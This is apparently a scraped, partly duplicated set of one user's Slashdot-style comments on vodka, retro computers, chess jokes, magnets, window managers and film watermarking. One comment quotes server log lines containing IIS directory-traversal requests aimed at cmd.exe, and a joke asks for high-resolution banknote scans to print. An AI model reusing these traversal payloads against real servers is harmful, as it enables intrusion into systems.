that's why I make coffee flavored vodka. Drop a bunch of coffee beans in a jar, pour vodka over the top and let it sit for a week. Makes excellent white russians. An excellent combination of a stimulant and a depressant!
Purpotedly McAfee was using the term "open source" over a year before Eric Raymond, according to the timeline:
January 1997 `In fact it's probably easier to write a virus for Linux because it's open source and the code is
available...''--Wishful thinking from McAfe
Cubase on the Atari ST is a great tool. Still got my TT030, which is basically a beefed up ST. Best part about the TT030 is a it can drive a 1280x960 monochrome display. Excellent for editing in Cubase, back when viewing multiple windows simultaneously was a Big Thing. Except lots of compatibility went out the door with the TT-- Notator, for example, doesn't work. Along with most of the ST games. Still got my VCS 2600 for the cartridge games though. Now if only I could find some joysticks & paddles...
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Additional chess pieces added by Microsoft include a thimble, race car, dog, shoe, cannon, top hat, and wheelbarrow....
Too bad this wasn't on Tom's Hardware instead. Regardless of the winner of the chess match, Tom's would determine the winner by highest frame rate in Battle Chess.
"Despite losing to the AMD, the Intel with the GeForce8 XP 512GB AGPxxx had a frame rate of 1882 FPS. Any chess player would appreciate the 4X anti-aliased graphics of the rook rock-monster pounding the opponent's pawns to pieces."
Race Car Aerodynamics: Designing for Speed
by Joseph Katz
Any relation to our famed Slashdot writer?
Racing a car is difficult in today's society. Certain things need to be taken into account, for example, aerodynamics. What some people don't understand is that aerodynamics effect how the car reacts to large gusts of wind. But aerodynamics are not only significant when designing, but racing too.
All cars these days have microprocessors of some sort inside of them. These control anti-lock brakes, cruise control, etc etc. Lots of these are processors are small 8 bit micros, like the Motorola 68HC11. These chips run at only a few megahertz, and are very slow by todays standards.
One thing to try is overclocking the CPUs. But I doubt you'll get more than 8 or 10 MHz out of one of those things. What I'd suggest is reverse engineering the car's electronics. If you could drop in a new AMD processor in there and get a big performance enhancement.
ok, I'm kidding. But you think hot rodding a '97 Honda Civic with a boat spoiler is any less a waste of time and money?
Anyone have a picture of one of the new bills? Preferrably a large tiff image, around 2400 dpi, front and back...something I could print at the local Kinkos?
Not to mention the atmosphere encompassing our planet. Though I don't know what impact the atmosphere might have, other than slowing it down and burning it up a bit.
I asked my parents why couldn't you have a big metal tube that was magnetised 'north', and a train covered in metal that was mangetised 'south'.. no friction!
I suggest you try and physically separate the "north" and "south" on a magnet. Ever wonder why the don't sell separate "north" and "south" magnets?
Sounds cool, but since it's not using the bios it sounds like I'll still have to wait for the scsi bios to scan all my scsi disks on un-suspend. ugh. I hate waiting for the bios.
Con:... Also, lazy focus only changes focus and does not raise the newly focused window
Thank god! If I want a window raised I'll do it myself, thank you very much. ctrl-alt-up or clicking on the titlebar to name a couple ways I've got.
I'm also glad to see text file configs again. Back when I used fvwm (version 1), seemed a lot more powerful than current GUI-configs. Plus their was never a question of which file(s) to go under version control to save your settings.
If airports started using open source software, it would make it that much easier for terrorists to recalibrate the Dulles International ILS beam to 200 feet below sea level.
I think you're talking about uniquely watermarking each individual film before they get transported to the theaters. I don't see why this couldn't be done, a handful of companies do audio watermarking that survive mp3 compression*. Making it work for video where the capture medium is a crappy VHS camera should be feasible.
The question is can Lucasfilm (or whoever) recover enough from the effort of adding watermarks to make it worth the effort. Let's assume they add put X dollars into making the technology possible and watermarking to copies of their next movie. Now they find someone pirating a movie, what do they do? File suit against the individual? The l33t h@x0r that uploaded the movie has $3.87 to his name. How about the movie theater? They could very well put the theater out of business, or at least not give them the next Star Wars movie. Now what theater will want to play hardball with a film producer that takes such tactics?
* Liquid Audio supposedly had an audio watermark where you could playback the source on a boombox, record it with a microphone, and still have the watermark intact. No, I never saw it done.
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that's why I make coffee flavored vodka. Drop a bunch of coffee beans in a jar, pour vodka over the top and let it sit for a week. Makes excellent white russians. An excellent combination of a stimulant and a depressant!
January 1997
`In fact it's probably easier to write a virus for Linux because it's open source and the code is available...''--Wishful thinking from McAfe
I swear my server doesn't have easter eggs, but that doesn't stop some people from trying:
/scripts/..%255c../winnt/system32/cmd.exe?/c +dir HTTP/1.0" /_vti_bin/..%255c../..%255c../..%255c../winnt/sys tem32/cmd.exe?/c+dir HTTP/1.0" /_mem_bin/..%255c../..%255c../..%255c../winnt/sys tem32/cmd.exe?/c+dir HTTP/1.0" /msadc/..%255c../..%255c../..%255c/..%c1%1c../..% c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
"GET
"GET
"GET
"GET
"GET
Cubase on the Atari ST is a great tool. Still got my TT030, which is basically a beefed up ST. Best part about the TT030 is a it can drive a 1280x960 monochrome display. Excellent for editing in Cubase, back when viewing multiple windows simultaneously was a Big Thing. Except lots of compatibility went out the door with the TT-- Notator, for example, doesn't work. Along with most of the ST games. Still got my VCS 2600 for the cartridge games though. Now if only I could find some joysticks & paddles...
Additional chess pieces added by Microsoft include a thimble, race car, dog, shoe, cannon, top hat, and wheelbarrow....
Too bad this wasn't on Tom's Hardware instead. Regardless of the winner of the chess match, Tom's would determine the winner by highest frame rate in Battle Chess.
"Despite losing to the AMD, the Intel with the GeForce8 XP 512GB AGPxxx had a frame rate of 1882 FPS. Any chess player would appreciate the 4X anti-aliased graphics of the rook rock-monster pounding the opponent's pawns to pieces."
by Joseph Katz
Any relation to our famed Slashdot writer?
Racing a car is difficult in today's society. Certain things need to be taken into account, for example, aerodynamics. What some people don't understand is that aerodynamics effect how the car reacts to large gusts of wind. But aerodynamics are not only significant when designing, but racing too.
All cars these days have microprocessors of some sort inside of them. These control anti-lock brakes, cruise control, etc etc. Lots of these are processors are small 8 bit micros, like the Motorola 68HC11. These chips run at only a few megahertz, and are very slow by todays standards.
One thing to try is overclocking the CPUs. But I doubt you'll get more than 8 or 10 MHz out of one of those things. What I'd suggest is reverse engineering the car's electronics. If you could drop in a new AMD processor in there and get a big performance enhancement.
ok, I'm kidding. But you think hot rodding a '97 Honda Civic with a boat spoiler is any less a waste of time and money?
Anyone have a picture of one of the new bills? Preferrably a large tiff image, around 2400 dpi, front and back...something I could print at the local Kinkos?
Not to mention the atmosphere encompassing our planet. Though I don't know what impact the atmosphere might have, other than slowing it down and burning it up a bit.
I suggest you try and physically separate the "north" and "south" on a magnet. Ever wonder why the don't sell separate "north" and "south" magnets?
Sounds cool, but since it's not using the bios it sounds like I'll still have to wait for the scsi bios to scan all my scsi disks on un-suspend. ugh. I hate waiting for the bios.
just curious, but what is the point of that false cockpit paintscheme? Did they paint Tom Cruise giving someone the finger?
Too bad Slashdot doesn't blacklist based on humor error; we'd have half as many posts.
More simply said...
1. Get Legos.
2. ???
3. Profit
Thank god! If I want a window raised I'll do it myself, thank you very much. ctrl-alt-up or clicking on the titlebar to name a couple ways I've got. I'm also glad to see text file configs again. Back when I used fvwm (version 1), seemed a lot more powerful than current GUI-configs. Plus their was never a question of which file(s) to go under version control to save your settings.
aww common mods! I got a good laugh out of that.
Apparently you haven't your seen Die Hard 2... not that I'm recommending it.
If airports started using open source software, it would make it that much easier for terrorists to recalibrate the Dulles International ILS beam to 200 feet below sea level.
Don't you mean "let's start larger"?
breasts@home, distributed.breasts...someone get me a beowulf cluster of those!
And the corollary: those that are old enough to have the wisdom to say that *wish* they were young and stupid. Those were the days....
Jammer, faraday cage? Screw it, get me a big friggin electromagnetic pulse. Just warn me ahead of time so I can get the hell out of there.
...where the executives used the spin of "stock options" to perform their functions.
I prefer The Onion's headline for the 1906 SF earthquake:
Earth-Quake Marks Least Gay Day In San Francisco History
I think you're talking about uniquely watermarking each individual film before they get transported to the theaters. I don't see why this couldn't be done, a handful of companies do audio watermarking that survive mp3 compression*. Making it work for video where the capture medium is a crappy VHS camera should be feasible.
The question is can Lucasfilm (or whoever) recover enough from the effort of adding watermarks to make it worth the effort. Let's assume they add put X dollars into making the technology possible and watermarking to copies of their next movie. Now they find someone pirating a movie, what do they do? File suit against the individual? The l33t h@x0r that uploaded the movie has $3.87 to his name. How about the movie theater? They could very well put the theater out of business, or at least not give them the next Star Wars movie. Now what theater will want to play hardball with a film producer that takes such tactics?
* Liquid Audio supposedly had an audio watermark where you could playback the source on a boombox, record it with a microphone, and still have the watermark intact. No, I never saw it done.